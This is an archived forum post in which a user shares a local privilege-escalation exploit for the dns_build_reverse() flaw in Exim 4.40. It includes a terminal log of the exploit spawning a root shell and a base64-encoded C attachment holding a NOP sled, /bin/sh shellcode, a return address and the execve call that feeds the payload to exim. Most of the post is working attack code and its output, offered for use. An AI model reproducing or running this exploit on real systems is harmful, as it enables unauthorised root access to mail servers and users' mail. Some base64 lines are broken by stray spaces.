PDA

Bekijk Volledige Versie : exim 4.40 exploit



plugger
25/05/05, 19:55
This is a multi-part message in MIME format.

---=_webmail1.adl242932f4d
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

hello punters,

i was bored last night so I coded up a local exploit of the
dns_build_reverse() vulnerability in exim 4.40. hope noone
minds as it was disclosed 5 months ago.
tested on exim 4.40 default build with runtime user as root
rather than exim or mail - hence the rootshell. see below
for versions and system details. "exploit" attached.

regards
plug

=3d=3d=3d=3d=3d=3d=3d=3d=3d=3d=3d=3d
the details
=3d=3d=3d=3d=3d=3d=3d=3d=3d=3d=3d=3d

plug@bug:~$ uname -a
Linux bug 2.6.8-2-686 #1 Mon Jan 24 03:58:38 EST 2005 i686
GNU/Linux
plug@bug:~$ /usr/exim/bin/exim -bV
Exim version 4.40 #1 built 23-May-2005 22:31:34
Copyright (c) University of Cambridge 2004
Berkeley DB: Sleepycat Software: Berkeley DB 4.2.52:
(December 3, 2003)
Support for: iconv()
Lookups: lsearch wildlsearch nwildlsearch iplsearch dbm
dbmnz
Authenticators:
Routers: accept dnslookup ipliteral manualroute queryprogram
redirect
Transports: appendfile autoreply pipe smtp
Fixed never_users: 0
Configuration file is /usr/exim/configure
plug@bug:~$
plug@bug:~$
plug@bug:~$ ./exim-exploit
Firing up exim - cross your fingers for shell!

**** SMTP testing session as if from host
::%A:::::::::::::::::1=c0FF V

=b0 N=cd1=db=d8@=cd=e8=dc=ff=ff=ff/bin/sh=f4=f2=ff=bf
**** but without any ident (RFC 1413) callback.
=f3
**** This is not for real!

>>> host in host_lookup? yes (matched "*")
>>> looking up host name for ::%A:::::::::::::::::1=c0FF V
=b0
N=cd1=db=d8@=cd=e8=dc=ff=ff=ff/bin/sh=f4=f2=ff=bf
>>> IP address lookup using gethostbyaddr() =f3
>>> IP address lookup failed: h_errno=3d1
LOG: no host name found for IP address
::%A:::::::::::::::::1=c0FF V

=b0 N=cd1=db=d8@=cd=e8=dc=ff=ff=ff/bin/sh=f4=f2=ff=bf
sh-2.05b#
=f3
sh-2.05b#
sh-2.05b#
sh-2.05b# whoami
root
sh-2.05b#
sh-2.05b# exit
exit
plug@bug:~$

---=_webmail1.adl242932f4d
Content-Type: application/octet-stream; name="exim-exploit.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="exim-exploit.c"

LyogCiAqIHJpcHBlZCBzdHJhaWdodCBvZmYgaURFRkVOU0UgYW R2aXNvcnkg
LSBzbyBsYXp5IEkganVzdCBwaWNrZWQKICogdXAgR0RCLi4uIG JvcmVkIG9u
IGEgd2Vla25pZ2h0IDooCiAqIAogKiBub3RoaW5nIHRvIHdyaX RlIGhvbWUg
dG8gbW90aGVyIGFib3V0IGR1ZSB0byB0aGUgZmFjdCB0aGF0Ci AqIHlvdSBu
ZWVkIGEgbG9jYWwgdXNlciBhY2NvdW50IG9uIGEgc2VydmVyIG FuZCBhbGwg
eW91CiAqIGdldCBpcyB0byByZWFkIG90aGVyIHBlb3BsZSdzIG VtYWlscyAu
Li4uCiAqIAogKiBub3QgZXZlbiBteSBvd24gc2hlbGxjb2RlLi BhbGVwaDEg
c2hlbGxjb2RlIC0gY3V0IGFuZCBwYXN0ZSBqb2IgCiAqIHdpdG ggbm9wcyB0
byBwYWQuCiAqCiAqIFJlZ2FyZHMsCiAqIFBsdWdnZXIgYWthIF RvbnkgTG9j
a2V0dAogKgogKiAKICogCiAqLwoKY2hhciBib21iWzI4OF09Cg ovKiB0aGUg
Z2VhciBmcm9tIGlERUZFTlNFICovCiI6OiVBOjo6Ojo6Ojo6Oj o6Ojo6Ojoi
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiAyMSBieX RlcyAgKi8K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC AgICAgICAg
ICAgICAgIC8qIC0tLS0tLS0tICAqLwovKiBOT1BTIGZvciBwYW RkaW5nICov
CiJceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OT BceDkwXHg5
MFx4OTAiCiJceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXH g5MFx4OTBc
eDkwXHg5MFx4OTAiCiJceDkwXHg5MFx4OTBceDkwXHg5MFx4OT BceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTAiCiJceDkwXHg5MFx4OTBceDkwXH g5MFx4OTBc
eDkwXHg5MFx4OTBceDkwXHg5MFx4OTAiCiJceDkwXHg5MFx4OT BceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTAiCiJceDkwXH g5MFx4OTBc
eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTAiCi JceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MF x4OTAiCiJc
eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceD kwXHg5MFx4
OTAiCiJceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MF x4OTBceDkw
XHg5MFx4OTAiCiJceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceD kwXHg5MFx4
OTBceDkwXHg5MFx4OTAiCiJceDkwXHg5MFx4OTBceDkwXHg5MF x4OTBceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTAiCiJceDkwXHg5MFx4OTBceD kwXHg5MFx4
OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTAiCiJceDkwXHg5MF x4OTBceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTAiCiJceD kwXHg5MFx4
OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OT AiCiJceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXH g5MFx4OTAi
CiJceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OT BceDkwXHg5
MFx4OTAiCiJceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXH g5MFx4OTBc
eDkwXHg5MFx4OTAiCiJceDkwXHg5MFx4OTBceDkwXHg5MFx4OT BceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTAiCiJceDkwXHg5MCIgICAgICAgIC AgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAvKiAyMTggYnl0ZX MgKi8KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC AgICAgICAg
ICAgIC8qIC0tLS0tLS0tLSAqLwovKiBhY3R1YWwgY29kZSBjb3 VydGVzeSBB
bGVwaDEgKi8KIlx4ZWJceDFmXHg1ZVx4ODlceDc2XHgwOFx4Mz FceGMwXHg4
OFx4NDZceDA3XHg4OSIgIC8qIDEyIGJ5dGVzICAqLwoiXHg0Nl x4MGNceGIw
XHgwYlx4ODlceGYzXHg4ZFx4NGVceDA4XHg4ZFx4NTZceDBjIi AgLyogMTIg
Ynl0ZXMgICovCiJceGNkXHg4MFx4MzFceGRiXHg4OVx4ZDhceD QwXHhjZFx4
ODAiICAgICAgICAgICAgICAvKiA5IGJ5dGVzICAgKi8KIlx4ZT hceGRjXHhm
Zlx4ZmZceGZmL2Jpbi9zaCIgICAgICAgICAgICAgICAgICAgIC AgIC8qIDEy
IGJ5dGVzICAqLwoKLyogd2hlcmUgRUlQIHNob3VsZCBwb2ludC AqLwoiXHhm
NFx4ZjJceGZmXHhiZiI7ICAgICAgICAgICAgICAgICAgICAgIC AgICAgICAg
ICAgLyogIDQgYnl0ZXMgICovCiAgICAgICAgICAgICAgICAgIC AgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAvKiAtLS0tLS0tLS AgKi8KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC AgICAgICAg
ICAgIC8qIDQ5IGJ5dGVzICAqLwogICAgICAgICAgICAgICAgIC AgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogLS0tLS0tLS 0gICovCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC AgICAgICAg
ICAgICAvKiAyODggYnl0ZXMgKi8KICAgICAgICAgICAgICAgIC AgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qID09PT09PT 09PSAqLwpt
YWluKCkKewogIGNoYXIgKmV4aW1bNF07CiAgZXhpbVswXSA9IC IvdXNyL2V4
aW0vYmluL2V4aW0iOwogIGV4aW1bMV0gPSAiLWJoIjsKICBleG ltWzJdID0g
Ym9tYjsKICBleGltWzNdID0gMHgwOwogIHByaW50ZigiRmlyaW 5nIHVwIGV4
aW0gLSBjcm9zcyB5b3VyIGZpbmdlcnMgZm9yIHNoZWxsIVxuIi k7CiAgZXhl
Y3ZlKGV4aW1bMF0sZXhpbSwweDApOwogIHJldHVybjsKfQoKCg ==

---=_webmail1.adl242932f4d--